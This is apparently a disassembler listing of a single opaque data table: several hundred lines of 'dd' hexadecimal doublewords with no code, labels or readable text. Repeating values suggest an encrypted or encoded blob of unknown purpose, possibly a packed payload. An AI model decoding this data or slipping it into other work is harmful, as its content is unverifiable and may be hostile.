		dd 5DBE3256h, 0EAB1324Eh, 0C169B236h, 0BAB13CBFh, 0B4A50456h
		dd 80AA545Eh, 62940D07h, 0CA09F16Fh, 0D5BADB36h, 13DA3256h
		dd 16E35265h, 0FF4BE770h, 5DB1DA48h, 2FEB3256h,	7F0378BCh
		dd 0A63A3D50h, 0B5B13256h, 5869B330h, 753A3DDAh, 0DBB13256h
		dd 5DB0BD59h, 0A1443256h, 57B138D9h, 0CAD15256h, 0D5B1B059h
		dd 67D03256h, 5214F9D3h, 0B6343D50h, 0B4B13256h, 0AEB13251h
		dd 0FC420701h, 532754BBh, 4F82B0DFh, 0EC58347Eh, 3CB13256h
		dd 4503A8EBh, 5DBFDB94h, 0FC623256h, 0BDB7A072h, 3B60AB8h
		dd 16217AD4h, 8D1FB0DBh
		dd 0FC48347Fh, 922B61D4h, 8E3B5250h, 945AB330h,	255953DBh
		dd 57B13260h, 0D5B3A7BEh, 6876CA56h, 7399ABC2h,	0BAB13256h
		dd 5DB6B959h, 0CED13256h, 0CC42B237h, 0CB4D6037h, 0D5B138BEh
		dd 581DD456h, 13415D27h, 52DAA0A5h, 5DB1325Fh, 38EC4218h
		dd 0B6B34B3Dh, 0F8E86CC5h, 0D5B1B259h, 8BE83256h, 46B8B790h
		dd 4FE73474h, 0F509603Eh, 0A4373DCAh, 37B13256h, 0CD468559h
		dd 2DC5FDD7h, 0A304CD37h, 15B71070h, 9179B330h,	3C43B953h
		dd 0D30FB7DBh, 0A8493473h, 2E38CA86h, 0D39312BBh, 0EABADB36h
		dd 0F9773256h, 0A25BF288h, 9ADAD6E1h, 2BBE536Eh, 57B1325Dh
		dd 0ABB134BFh, 65132656h, 80BABC1Eh, 75BFDB52h,	0A0093256h
		dd 249449A6h, 63DD2222h, 86A3D53h, 0ABB126BFh, 0C0802256h
		dd 0B72208A7h, 38444551h, 1E51DE95h, 0AE38764Dh, 0BEB15AE9h
		dd 0D7BE3256h, 0ABB1325Dh, 0D5B134BFh, 0D6A43856h, 1D281F00h
		dd 0BAB23F16h, 5DB13ABFh, 0C769F056h, 0A27874CCh, 0A4B15839h
		dd 0D5B134D5h, 6F005256h, 8AD05336h, 0B5EBCA86h, 5DB139D1h
		dd 0AEB7DB56h, 33803256h, 0F092F615h, 51BEF25Dh, 0EAB1336Ah
		dd 75B122BFh, 60B54D56h, 8B46493Ch, 0BA1DC243h,	95ABC009h
		dd 0ABA2DB6Fh, 0BFE83256h, 88B7E82Eh, 933FCF04h, 0C1C973B1h
		dd 22D104BBh, 3A33BBC5h, 37B71ACFh, 0ABB139BFh,	0C970A256h
		dd 0F8093358h, 5C524F55h, 0DBCAF1D6h, 0C40BB0DFh, 0BF58347Eh
		dd 7AB13256h, 0F15AD1E1h, 3C38982Eh, 634241FDh,	0CA976F16h
		dd 0B9BC72EFh, 0A53AC756h, 0BF3C3D36h, 0BEB13256h, 0ABB1325Ah
		dd 138F3ECEh, 0CC71F812h, 0A4A5CC32h, 0DBFBEAD7h, 6ED01244h
		dd 0AEBADB96h, 0F4AC3256h, 13CB8A6h, 317C579Ah,	0E51BC19Fh
		dd 75B13ED7h, 0BC373D56h, 52B13256h, 0AEB132D1h, 0D5BE6056h
		dd 0ABB1325Ah, 0D5B7BC59h, 67BE3256h, 75B13256h, 3BD1363Ch
		dd 84415595h, 0BD586244h, 0E7B13256h, 453AC3E2h, 8A5F69D9h
		dd 6C20CEBAh, 3F2DEE0Bh, 0DBEA184Ch, 5DA1323Eh,	0AED9CE56h
		dd 0AEB13252h, 0AE58323Ch, 0B2B13256h, 0A7C566CCh, 0FE66B936h
		dd 284E53A8h, 5B9312BBh, 0AEA3BF59h, 5A583256h,	2AB13256h
		dd 0B26EE35Ah, 0FB146B15h, 0F0342295h, 0BABADB0Ch, 4B453256h
		dd 18B6D478h, 0EFC90A3Fh, 3633BB05h, 20B71ACAh,	0EABDDB37h
		dd 64973256h, 136E0188h, 0A591D8EEh, 2B3A4AD4h,	5199ABC2h
		dd 0AC59CB36h, 2FB13256h, 0FCA6679Ah, 0F9BE1CE9h, 0BAB13256h
		dd 3D72530Fh, 49909FEDh, 37D15310h, 0ABB4B859h,	54D73256h
		dd 26CBB9Eh, 75B13245h,	0CDB149BBh, 9ADFA3A2h, 8C690D3h
		dd 3892CAF1h, 1D7A8664h, 12D06BE9h, 0C8A5A7D4h,	35B13250h
		dd 0BB333D56h, 0A4B13256h, 0A048B091h, 47B13474h, 0CDD13256h
		dd 4F66C5D7h, 8CD153AEh, 1336C5D7h, 0DBD09DE0h,	5DB6DB36h
		dd 8E93256h, 39625764h,	0A6586507h, 42B13256h, 437870D6h
		dd 24777724h, 30D1C951h, 3D72530Ch, 0F20BDCD7h,	0D9BE3B27h
		dd 0ABB13252h, 11F48B30h, 8CD15237h, 7959FCDDh,	0C7B13256h
		dd 0CF8AFDE9h, 0AF84CF55h, 379CA0C3h, 20D06D37h, 0FD28A6ECh
		dd 0EAB8DB50h, 0EDC63256h, 597755BAh, 0DE162E7Eh, 2ABE3269h
		dd 57B132B7h, 0ABA8B459h, 0C1583256h, 94B13256h, 0B300859h
		dd 0AC1DB80Fh, 1D5E58E0h, 0F0FB215h, 0D47A1E58h, 0A4B32229h
		dd 0D5B156D2h, 0EAA1DB56h, 55733256h, 0B7008B36h, 5058E178h
		dd 0D74F7180h, 0D44D1B49h, 0A4B52229h, 0D5B15ED2h, 66BEC756h
		dd 75B1325Eh, 0BAB3B659h, 3CD13256h, 0CEA5F5D5h, 0A5AD52EDh
		dd 0AB353D20h, 0B4B13256h, 154EB8BFh, 452A9h, 0B5D0CCDCh
		dd 5DB126D3h, 0AEBEDB56h, 4E5D3256h, 0AF085F31h, 2B3A533Ah
		dd 0FF0B1FA7h, 65F6F5FAh, 0BAB13257h, 5DB9B059h, 21BE3256h
		dd 57B13254h, 1A585336h, 294ECDA9h, 0EAB13ABFh,	5AD3156h
		dd 5C021B0Dh, 4DF6F5A4h, 0AEB13255h, 57BDB559h,	23BE3256h
		dd 0D5B13250h, 0EAB1BF59h, 0CCD13256h, 0B72E0BAAh, 83A3C1D7h
		dd 47D00388h, 0A84ECD2Eh, 0A4D153AFh, 0D5B134D6h, 0EA3A3D56h
		dd 7AB13256h, 0BAB134DBh, 5D353D56h, 0CFB13256h, 56323D95h
		dd 52B13256h, 0D5B4DB03h, 0DF2F3256h, 0FEE53532h, 793B52BAh
		dd 0B54D5237h, 0AEB13256h, 1B5BB30Ch, 42B71AE1h, 0D5B13253h
		dd 3048E21Bh, 6C373D9Bh, 53B13256h, 5DB13242h, 12E77F50h
		dd 4DB0520Eh, 0FDF4B0E9h, 0B33F4FD2h, 0BD21EEE7h, 0E91C80DDh
		dd 3DBE347Eh, 5DB13257h, 0EB3ACBAAh, 5138CE5Eh,	0ABB120BFh
		dd 88B3EF56h, 9000EE36h, 0CB14967Ch, 7C0D565Ah,	0DE6AC2ECh
		dd 862D9FD4h, 46583650h, 0F2B13256h, 4CC046FEh,	92FF8E7Ah
		dd 33FBF2A8h, 0A08EF2AFh, 0B478CE37h, 0AEB13242h, 0D22480BEh
		dd 138FF1Eh, 0AF45F8F6h, 0C0E343C9h, 460BE91Ah,	0DAB13694h
		dd 9460B201h, 0AEBDDA09h, 979C3256h, 7AA3E35h, 3B0EE4C7h
		dd 0ED58E2EDh, 3FB13256h, 8555F9A6h, 3CEF2388h,	0AABD8936h
		dd 0DCD72677h, 42D15391h, 0D5B1325Bh, 6143645Dh, 0F17B62A7h
		dd 73853B27h, 5DB1DAADh, 2FEB3256h, 7F0918BCh, 2AD75250h
		dd 0B4018596h, 0EAA2DA36h, 94A53256h, 0EC5546BBh, 0D3069013h
		dd 12DB978Eh, 871BEB3Ah, 0AB303D0Ah, 8AB13256h,	61D017E6h
		dd 5D2DAFE4h, 88ACA50h,	5B99AEFBh, 0AF66B659h, 0DC443256h
		dd 0A2585268h, 9DB13256h, 0EA0387E4h, 54A83C92h, 5BE5237h
		dd 0A55FB39Fh, 0CFE99259h, 5158EDDDh, 0A7B13256h, 54B284C7h
		dd 0A5073D33h, 75B7DB57h, 0C6BF3256h, 2C76681Eh, 2EB075A0h
		dd 57E8B759h, 0A84D3256h, 0DAE0528Fh, 0EAB132D1h, 73596856h
		dd 75B13256h, 0C4492FDBh, 0AEA3DA03h, 8F3B3256h, 8A602477h
		dd 0B983051Bh, 346C23A1h, 0F22E12F1h, 53D06B0Dh, 5DB1326Dh
		dd 15D75236h, 0D4BE9866h, 0ABB13256h, 2E063D37h, 0E63C3D37h
		dd 7AB13256h, 0BAB134DCh, 5D333D56h, 85B13256h,	57A0DB8Fh
		dd 6E0F3256h, 0E4C0CE1Ah, 0FDC5E4D2h, 0CA4B1549h, 0F9328BF4h
		dd 407BB236h, 0CEF253AEh, 520E5436h, 0CAD687DDh, 0FDB4C5D7h
		dd 61D0337Dh, 57B6EFD3h, 0A8393D50h, 0B4B13256h, 0AEB1325Bh
		dd 0C8515F7Ah, 0AA99BC11h, 29D68044h, 0A73CB914h, 15B71040h
		dd 0BAB4DB36h, 36093256h, 2E60F21Dh, 36D0B7B7h,	29BEEA6Dh
		dd 0D5B13231h, 0EABDB459h, 0FCBE3256h, 0BAB13250h, 5DB1BE59h
		dd 0BE583256h, 3CB13256h, 0EE38AC3Ah, 531666BDh, 8FF73C4Dh
		dd 4E7BCEF9h, 82363D8Fh, 3DB13256h, 0CF7FB9AAh,	57BDB359h
		dd 2CBE3256h, 0D5B13250h, 0EAB1BC59h, 0B3323256h, 0B2595252h
		dd 23B13256h, 0BD6133Dh, 77D989h, 42D0690Eh, 2A4ECCDCh
		dd 21918A36h, 4ED06EBDh, 0E4353D99h, 3DB13256h,	0AEB3B659h
		dd 36D13256h, 0ABB3BA59h, 1B3A3256h, 6BD75237h,	89486E91h
		dd 0F70CBB37h, 0B4B71040h, 0AEB13250h, 0D0D11C5Eh, 0EF580858h
		dd 3C4ECDA8h, 0EAB13246h, 40532007h, 0E3A864C6h, 465CEC75h
		dd 86BF5779h, 57B126BFh, 4BB7FA56h, 2E3F4AA8h, 79906D8Fh
		dd 0DB746264h, 0D86649DCh, 4E58532Fh, 45B13256h, 0D2627811h
		dd 0AAE86570h, 0EF88C887h, 5F3E5A5Dh, 9C723D3Bh, 0BAB13245h
		dd 6703BF2h, 8EF5767Eh,	91B81104h, 59607B7Bh, 0B5B5B11Ah
		dd 0EAB135BFh, 5D5D1956h, 3DC18AA9h, 5DB132BEh,	44306856h
		dd 519988DFh, 0ABB0BA59h, 3C443256h, 0EAB13250h, 0A9C07368h
		dd 3AFD06h, 5B99AECBh, 0AFB18BAFh, 31D13256h, 5712A2EFh
		dd 0D43F3D37h, 12B13256h
		dd 7258F265h, 4BB13256h, 0D0859F1Fh, 5427572h, 573F3D36h
		dd 2BB13256h, 5ED0E698h, 0C22DAFD4h, 0F44D5250h, 225F8E8Dh
		dd 0DF38536Bh, 0A899AEFBh, 57B13FBFh, 6ED7E856h, 0D1ADA532h
		dd 5B35B877h, 9CD03044h, 0BAB1325Bh, 0FB29530Dh, 0F57589A4h
		dd 0F280725Bh, 5349F1EFh, 0D4393D36h, 13B13256h, 5D18936h
		dd 53D10B24h, 5DB13245h, 0B119C870h, 6F502B18h,	0B35F3856h
		dd 8688176Dh, 616D867Bh, 9DD053ACh, 0BAB13256h,	195BB30Ch
		dd 47B71AEDh, 57B13247h, 0BBF2E221h, 6BD86653h,	0DE3FA9BEh
		dd 1035CC02h, 0BB393D63h, 0A8B13256h, 9DB8B790h, 58E73474h
		dd 0ABB12BDCh, 0A10A5256h, 3EDE1DCh, 75B1325Bh,	44BDEA79h
		dd 0B215165Ah, 0D731060Ch, 31D1532Fh, 1CBEF0DDh, 0ECD9538Eh
		dd 8A652D3Bh, 75A0BB59h, 0B6583256h, 5AB13256h,	0A5196407h
		dd 9DA995D0h, 0CA6C630Ah, 0F3F887A9h, 0FE583474h, 74B13256h
		dd 7E778CC9h, 0A3D03B52h, 0B44E8859h, 0A41E901Bh, 266A34D3h
		dd 0F0CC8CD3h, 0EAB6DB50h, 39F13256h, 0C3F602BFh, 5DBBDB30h
		dd 4DD23256h, 0E462CA61h, 0EE3C8A6h, 59BEE2A9h,	0EAB13257h
		dd 74303DA3h, 4FB13256h, 3DE1CB04h, 0A1F6E4D6h,	57B131D1h
		dd 5C3A5456h, 55B15A37h, 6BD13256h, 0C3770DB7h,	53D0CE41h
		dd 5DB13244h, 435F6B8Ch, 6F064EBDh, 0D009E250h,	401BDE7Bh
		dd 0EADBDD3Bh, 73393D36h, 0B5B13256h, 5DB132D7h, 1C4E5356h
		dd 5199ABC2h, 0ABA8B559h, 0C1583256h, 1B13256h,	27F7C7E0h
		dd 0BA9D2F4Fh, 3B2CAAA8h, 53C80E90h, 37359BB5h,	0B1538EECh
		dd 0D53E3D31h, 8BB13256h, 7858E2A9h, 0AEB13256h, 267BD36Dh
		dd 0D5BC9E41h, 49FF3836h, 0ABA1DB0Eh, 5BC3256h,	214A226Fh
		dd 5A64AFD7h, 0B8F64169h, 3DEB61F9h, 0AEB2B759h, 0E8BE3256h
		dd 51063D88h, 55B15A37h, 0E4583256h, 65B13256h,	2730F9ADh
		dd 2E8E1D83h, 0FD1E3011h, 56303D9Dh, 57B13256h,	5CBE323Ch
		dd 0EAB13257h, 0E803CDAAh, 42B71ACAh, 5258E2A9h, 9BB13256h
		dd 9B5C3B3Eh, 6CD0A2E0h, 2FF2C0C8h, 13D015F5h, 75B7DB95h
		dd 0A8C3256h, 980C302Bh, 0BF3F3D03h, 37B13256h,	0ABB13BBEh
		dd 21C22C56h, 0CDC12A3Bh, 14EF5F73h, 0AA58DEDDh, 0D7B13256h
		dd 8A45AEF0h, 0E05306DAh, 6DD07318h, 0B5932E63h, 0EAB1DAAFh
		dd 0F4EB3256h, 920C0CBCh, 55373D50h, 0CEB13256h, 57B1BC59h
		dd 53D03256h, 3CB947DDh, 0EAB1325Bh, 0D7CD3A79h, 6B88F19Eh
		dd 0CA54C94h, 0A180DAB3h, 5C583256h, 90B13256h,	9A386ADDh
		dd 96447661h, 9CE4254Fh, 0BAB1325Ch, 0EB5A1D97h, 0B7E374A3h
		dd 0C54E1E4Bh, 0AD99A865h, 0D5A4BB59h, 0FA583256h, 4CB13256h
		dd 9F9509BFh, 0E72B075Ah, 0E3C3130Ah, 0ADF6ADCh, 0CDEE6336h
		dd 29D0FCDDh, 0E5BD476Dh, 8A4E9AD3h, 0BAB7DBA9h, 6F0C3256h
		dd 0AE8460BCh, 57BFFCBEh, 0ABBEDB56h, 0FC5D3256h, 959B8578h
		dd 44B4B52Bh, 4630FAA6h, 0DDBE5302h, 0AEB13253h, 0AF48B936h
		dd 20BEFB37h, 0D5B1325Dh, 0EAB134BFh, 0C88E956h, 53DE4786h
		dd 5DB13258h, 4C259D1Bh, 0A19CC701h, 4BD0A1C8h,	0DD73CAD5h
		dd 0E53A3D56h, 9CB13256h, 0BAB1325Ch, 53C6289Fh, 67FF7DFCh
		dd 0AFE4D5DBh, 28BEDEDDh, 0D5B13247h, 0EAB9DB36h, 34C63256h
		dd 7A8A673Eh, 3CD1A537h, 5275B137h, 5C5864AAh, 54B13256h
		dd 2153F990h, 0AC99AF84h, 15E60D39h, 0BAB0BF59h, 52483256h
		dd 0AEB137D0h, 82FF8C56h, 0F8D02A51h, 0D5A5B959h, 3D13256h
		dd 75B13251h, 0C7F54D2Dh, 52394C98h, 0AEB132D2h, 57595356h
		dd 0F1B13256h, 6B22D8D7h, 0E558347Eh, 58B13256h, 84A94973h
		dd 0A8D7F86Ch, 0BAFFD220h, 58D1B6F7h, 0ABB130DFh, 5E3A8256h
		dd 9F3A538Eh, 75B7DB5Eh, 66BF3256h, 0A18315B1h,	0A1A14FDDh
		dd 57B133D2h, 42E6C756h, 0D5B13253h, 0E233DAE9h, 23D164AFh
		dd 0E5698559h, 5DB13EBFh, 0B7D62756h, 0C001A50Eh, 1462968Eh
		dd 51BE5393h, 0EAB13242h, 75BCDB36h, 87433256h,	0D4EE2F5h
		dd 782187FEh, 36C551BEh, 0ABB044BEh, 33A5256h, 2ABA53AEh
		dd 74B6B659h, 314D3256h, 0D2BE52AEh, 0AEB13253h, 615AB330h
		dd 0A559648Ah, 8BB13256h, 0DA57E303h, 47C785CCh, 621D4643h
		dd 3CEA6CF5h, 0AF363D03h, 0ABB13256h, 3182A0A9h, 50BE347Eh
		dd 0EAB1324Ah, 75A0DB36h, 45A53256h, 0B78ABA2h,	9F984B06h
		dd 0BB86D5FAh, 0CD39DBC2h, 0B42D99EFh, 0EF586FAFh, 34B13256h
		dd 0CF8A7A65h, 52BD476Dh, 0AEB1AED2h, 57BFDB56h, 0C81A3256h
		dd 0ECE6345Fh, 4FA838EBh, 0ECF02487h, 43AFB930h, 0AD56B2AEh
		dd 0AEA0DA36h, 6B113256h, 0F79C99E5h, 32E71454h, 38FD21E7h
		dd 9CD38133h, 0BAB1325Eh, 0F3C46BA5h, 92303AECh, 493B5309h
		dd 0ABBFB459h, 20D13256h, 0EAB134BFh, 839EE456h, 0DB4F823Eh
		dd 0B441D1D6h, 0AEB13244h, 88E3B66Bh, 737F1D28h, 0C7C9C0B3h
		dd 90D1B995h, 0CB59A225h, 53B13273h, 5DB13247h,	0CE7F55F2h
		dd 0F2568831h, 40332F09h, 1838A42Dh, 1405DB96h,	89D1CDA9h
		dd 0A579B307h, 3EFE296h, 52CCBB37h, 57B137BFh, 0B4241E56h
		dd 6B5932C3h, 8A4ECDA3h, 75B1B759h, 3AE63256h, 3CEABF82h
		dd 0A0323D0Dh, 0BEB13256h, 0ABB1325Fh, 6754AAE0h, 6FE08686h
		dd 2B4D6D9Ah, 46F4B9AEh, 5DB13DBFh, 0CCCC6256h,	0AFC13181h
		dd 244C1FA4h, 65D674A6h, 0E673CA9Fh, 0FED75256h, 3DBE60A5h
		dd 5DB13256h, 0FB48530Dh, 0AE5DB9AFh, 5749F6D5h, 0C5373D01h
		dd 3B13256h, 75B1325Dh,	0DE6357DDh, 4C1C26BCh, 0F8E953CDh
		dd 57B134BFh, 0C1F6F956h, 84D82B10h, 0EAB0B259h, 26483256h
		dd 0BABFDB36h, 0CF603256h, 0DC8C8907h, 53432BA7h, 660F4679h
		dd 2DF4F537h, 0EAB13256h, 75A1B959h, 0B5D13256h, 5B58F9E1h
		dd 8AB13256h, 579B91Dh,	6C49530Dh, 0FD2ADFD4h, 0EAB13350h
		dd 3AC756h, 0B058525Eh,	62B13256h, 0E717C3BFh, 28E7392h
		dd 510E3DEEh, 0CB3A5437h, 0EAB139BFh, 0FAD20356h, 113601D0h
		dd 0EA8768B7h, 0AEB121BFh, 0C1360A56h, 6016CD6Bh, 0F5933FABh
		dd 0E5C987D6h, 383B8242h, 232588DDh, 0D6D1347Eh, 0AA393DA8h
		dd 31B13256h, 0CA9086E8h, 3CB96DDDh, 0EAB13244h, 914D83D0h
		dd 8ECC6808h, 434DF18Bh, 8DFCE71Dh, 8CBA3CE4h, 0ABEFB659h
		dd 0EE443256h, 0AF343D88h, 9CB13256h, 0BAB13259h, 2D08A90h
		dd 7EDA8DAFh, 6D7FD381h, 201A572Ch, 0DF583E0Bh,	31B13256h
		dd 0E7CE6B1Bh, 52EBA49h, 51EEBB67h, 0BB383DAFh,	0BEB13256h
		dd 0ABB13246h, 297DC11Eh, 0BF4CD1A7h, 6FC5A9A8h, 0E6E6A1E2h
		dd 3DA5F5D5h, 51063D01h, 0D6585308h, 574ECDA9h,	2DAFB930h
		dd 0E559C9D6h, 75B504D2h, 0BAA3DB56h, 45313256h, 53199A1Bh
		dd 667EA7CAh, 0DD0F7D4Ch, 174DD50Dh, 0E558C9D6h, 75B524D2h
		dd 0F70F5256h, 0A193C3FAh, 454AB237h, 53B4B659h, 22BE3256h
		dd 0D5B13246h, 0EAB139BFh, 0A86C256h, 0E8313576h, 88C97995h
		dd 0A153C9D6h, 57B2F0D2h, 0ABBEDB56h, 11B33256h, 8C951456h
		dd 9B2624A9h, 0C7EEF775h, 0BE4AB2F1h, 0ADC9B659h, 58583256h
		dd 0FB13256h, 0B1BD8CF3h, 1A0BF4EAh, 158FAC8Dh,	3BD797A1h
		dd 525255ADh, 0AEB2B4D2h, 8C085256h, 1CFA00A0h,	32315323h
		dd 6BD7CAA6h, 7A313DADh, 0BAB2A0D2h, 0E2D75256h, 793A2C5Ch
		dd 0A752B237h, 0DB4AB2AEh, 0D6CCB659h, 8C443256h, 7A582CDDh
		dd 0CAB13256h, 5C4DCEBFh, 0D67A36C8h, 0B2D3B903h, 4831F762h
		dd 0C03C3DAEh, 3B13256h
		dd 75B13246h, 52248599h, 7DF6C36Eh, 7D6A6129h, 2443DC52h
		dd 0A409C9D6h, 0D5B0D0D2h, 0FB373D56h, 9CB13256h, 0BAB1325Ah
		dd 41CD90FEh, 0B6D66CEDh, 736317DCh, 0A4B40CD6h, 0D5B0F0D2h
		dd 6BD75256h, 9CEC2586h, 0BAB1325Bh, 1EE4D2D5h,	55A3B291h
		dd 7EBD4B1Bh, 95315358h, 75353D7Bh, 13B13257h, 7AD90CD6h
		dd 0BAB0A4D2h, 5DA0DB56h, 0BE703256h, 2318C1C5h, 9EAF6C16h
		dd 0EDEAC3B2h, 15BB92BCh, 5D2ADFD4h, 0D6055250h, 5DB13CBFh
		dd 4F846F56h, 75789FEAh, 61936D52h, 0B40210A8h,	16AFB930h
		dd 9C49D5D6h, 0BAB13247h, 2085EF81h, 78E60F28h,	0D19A9E63h
		dd 0D3311F91h, 0D5B4DB66h, 5B5A3256h, 137F6979h, 5230C9D7h
		dd 5C80B659h, 21BE3256h, 57B1325Ah, 16085436h, 0D53C3D6Ch
		dd 8BB13256h, 77393D36h, 0E9B13256h, 5DB7DA08h,	0DD6F3256h
		dd 7B478962h, 0ABB1B659h, 0B4E93256h, 0E5AFB930h, 75B13ADCh
		dd 3DBE5256h, 5DB13256h, 5E56B237h, 57B4DA36h, 53673256h
		dd 5E56003Eh, 0E5596C97h, 0A5B13256h, 2B18445Ah, 86CAEC9Fh
		dd 0E1792C6Dh, 94458AAh, 50305437h, 51BEF2D7h, 0EAB132E9h
		dd 75BADB36h, 1FC43256h, 6A525173h, 5E02E1AEh, 0C874B2ACh
		dd 0BF585237h, 35B13256h, 0B0174247h, 9F8878E3h, 0E47160C1h
		dd 2D2BF9C8h, 0FBBDBD9Fh, 0A00E3D36h, 0CA49B930h, 0D5B137BFh
		dd 0E73AFC56h, 0E74E86A6h, 0BC99A865h, 5DA5DB36h, 21173256h
		dd 0BC8218F5h, 3B341F9Ch, 609CA50h, 88D42925h, 48096939h
		dd 0DB9FB5EEh, 1838CB0Bh, 0AEBFDBAAh, 0E7663256h, 84E58101h
		dd 3A309F12h, 0A12BFEA7h, 74353D37h, 42B13256h,	5C4D4FD5h
		dd 0AC71B759h, 47583256h, 0BDB13256h, 9F9CB3ADh, 0A254DCD7h
		dd 0B6BECFFBh, 0DA6E0FE0h, 5DB123BFh, 0E347C856h, 5C79C810h
		dd 971AA630h, 76C96B3Ah, 61D0BDCBh, 57A5A7ECh, 0B5E1C750h
		dd 5DB133D0h, 2C3ACA56h, 5199A9BBh, 0ABB120BFh,	0B4FC4156h
		dd 324DD78Ch, 0A99B7005h, 8BA8CCB5h, 0B4D3AFEAh, 0AEB13259h
		dd 2EC8B262h, 0C8C858C6h, 7BC68881h, 0D303EBF2h, 0F9BE026Ah
		dd 0BAB1325Bh, 5D3C3D36h, 15B13256h, 31F567F7h,	0A4E9C737h
		dd 0D5B307D4h, 0FE58C756h, 62B13256h, 235C156h,	0E36F7069h
		dd 22A391A1h, 0DE3A581Ch, 2047F6FEh, 0F7BFCBECh, 0EAB9DB50h
		dd 14813256h, 0D2875731h, 0D4DABA6h, 0AEB135BFh, 0EDA51B56h
		dd 271698C0h, 0D5A8B759h, 0FE583256h, 6DB13256h, 2465A0C4h
		dd 4509E5B7h, 13C84E83h, 0CBADFD9Ch, 200983DCh,	0FD2ADFD4h
		dd 240B5250h, 14C64970h, 0B5810E6Fh, 5DB133D8h,	0A1E9C756h
		dd 57B08FD9h, 0A0595256h, 0AAB13256h, 846440CFh, 6B637595h
		dd 3CBED097h, 5DB13256h, 5D305409h, 0BED09621h,	0ABB13235h
		dd 0D5BDB559h, 50D13256h, 268F0C5Eh, 0D08E4CE8h, 18765309h
		dd 0AEB130AEh, 5F383D56h, 0A4B13256h, 0D5B130D9h, 0E5D05256h
		dd 75B13EDCh, 0BC333D56h, 52B13256h, 0AEB132D9h, 5794DB56h
		dd 6C443256h, 0D5B0CA13h, 3D13256h, 75B13247h, 8B2E0863h
		dd 82A1AF1Ch, 4C2EA7FAh, 0B954CE16h, 827C89D7h,	5ED012AFh
		dd 0C228A6ECh, 57373D50h, 0DAB13256h, 5DB13CBFh, 0DE959A56h
		dd 98D97985h, 5C6B991Ch, 3CB126C9h, 0EAB1325Eh,	5FC9E814h
		dd 69FA7EECh, 52AEB937h, 0AEB128D9h, 0D6D75256h, 425869BDh
		dd 0D5B13258h, 149F8C61h, 0DB0825E8h, 0E0DAABA0h, 56D0AEAEh
		dd 71353D8Dh, 58B13256h, 0ABB133D3h, 0B8ACE56h,	0EA36B759h
		dd 0FE443256h, 31D13E0Bh, 0A60E3D99h, 0B93F3D37h, 37B13256h
		dd 0ABB138BFh, 160C7A56h, 7C01024Ah, 0F476AD36h, 2A1C1889h
		dd 20325310h, 2ABE32AEh, 57B13269h, 0ABA5DB36h,	3053256h
		dd 61346472h, 9A89B4E4h, 6B5FC738h, 0FC4018FFh,	0A85831E9h
		dd 7CB13256h, 0B6399F83h, 88B253D3h, 0EAA0DBAEh, 3A243256h
		dd 900D1A55h, 0E25E5D20h, 0AB12D217h, 0DECB0553h, 0A5583609h
		dd 7BB13256h, 0FA8AB710h, 69DC821Bh, 830CFCECh,	4976B12Dh
		dd 0AEB0BD59h, 0BE443256h, 544ECD67h, 0D5A0DB36h, 71F73256h
		dd 21274E6Ah, 97149F36h, 1EBCB6B0h, 0CF305FA9h,	5E58F265h
		dd 0BFB13256h, 12A75DB1h, 5AE5D46Bh, 75B547BFh,	0BAB9DB56h
		dd 0C62A3256h, 30FFB865h, 0DCD7416Dh, 0ABBADB48h, 0E63B3256h
		dd 0DF7EEB9Dh, 20DE8E0Dh, 0C73ACBFEh, 5DA3DB5Ah, 9FD63256h
		dd 0E4A459F4h, 740D19C4h, 4A3A62EEh, 5D455F0Eh,	1465B836h
		dd 0B55AC9D6h, 5DB15DD2h, 4D31C756h, 0D8BE52A6h, 0ABB13240h
		dd 0D5B123BFh, 23DF8956h, 57D4E93Bh, 0C079719Eh, 0F8251A5Dh
		dd 0A958C978h, 7FB13256h, 6B90493h, 0DAD0A4EBh,	0EAB13CD1h
		dd 2DE25256h, 0BAB137BFh, 1F1EB956h, 2ED04038h,	0D3BE42ADh
		dd 0ABB1320Ch, 0D5B0B259h, 3443256h, 75B1335Fh,	0BAB121BFh
		dd 2DC01F56h, 9050D510h, 51E83097h, 845FD971h, 672F3568h
		dd 3583590h, 75B13250h,	54007A2Fh, 9A48C083h, 0AEB13311h
		dd 0DDD13256h, 5C0E3D99h, 2976B937h, 3B4F2D5h, 75B1325Eh
		dd 0E07BD46Dh, 0DF6E3497h, 0AEB2BBBFh, 90D7C756h, 0CBB93D51h
		dd 97998830h, 8B428559h, 0F5482CDCh, 0B5483DB5h, 5DB13ED8h
		dd 0A83C3D56h, 58B13256h, 0ABB132DFh, 557AB256h, 62D0CE36h
		dd 7E583309h, 4DB13256h, 0D357C55Dh, 0C41A080Fh, 10768654h
		dd 0ABB13254h, 0D5BBDB56h, 8CE43256h, 0C5C5EBD8h, 5790C3FCh
		dd 5DB138BFh, 7761DF56h, 0CED38580h, 209579E9h,	0D5A2DB91h
		dd 0A8643256h, 30ACFA5Ah, 0F2B75271h, 0B1CAFBE2h, 99ED020Eh
		dd 5171B19Dh, 0ABB126BFh, 0BBE1A756h, 5DC6BBC6h, 84221C9Bh
		dd 0DAFE6EFEh, 0BA13E7C8h, 0AC59DB4Bh, 4D13256h, 5135E5D7h
		dd 3CEE22BDh, 0EAB1325Ah, 0B663383Ah, 7E467B9Dh, 0D7659C31h
		dd 90305437h, 0D3BEA2C6h, 0ABB1320Ah, 0D5B123BFh, 0A760B856h
		dd 4351FCB1h, 4D46D6Bh,	0E8FBEB9Ah, 90317FECh, 2A343DC6h
		dd 0A4B13256h, 0D5B125DCh, 0EAA3DB56h, 0DC73256h, 3CFA4300h
		dd 66493B1h, 55D75A4Ah,	8036EDE7h, 54CFB330h, 51BEA2C6h
		dd 0EAB13242h, 753E3D36h, 4B13256h, 6A1B3B08h, 0AEF3DB37h
		dd 0AB443256h, 2CBEF5DDh, 0D5B13276h, 0FF0B5436h, 75A5DAB9h
		dd 20193256h, 5BC630E9h, 56B37473h, 0A397E2A2h,	8F3BF320h
		dd 0B4E8201Ch, 0EAB30BBFh, 75BFDB56h, 0E87F3256h, 0B5EBC907h
		dd 676E901h, 5EB05314h,	3777B0DBh, 0D058347Eh, 5FB13256h
		dd 0F246008Eh, 0BF595206h, 0A2B13256h, 0F4353796h, 0ECEE5AE2h
		dd 0A3870A80h, 0D43E3D37h, 12B13256h, 79393D00h, 0B5B13256h
		dd 5DB134D7h, 0AE393D56h, 37B13256h, 0ABB13ABEh, 0B5854856h
		dd 8EE9B21Bh, 2DEA65AEh, 0DB6F8D59h, 0C7E2A0A9h, 2BBE347Eh
		dd 57B13251h, 0ABB0B259h, 0DE483256h, 80353D96h, 8DB13256h
		dd 0BAB0B659h, 0D6483256h, 0B33C3D9Eh, 58B13256h, 0ABB125D9h
		dd 0D5A3DB56h, 11FC3256h, 86EA1000h, 85AF3AA7h,	0CFCD6A7Eh
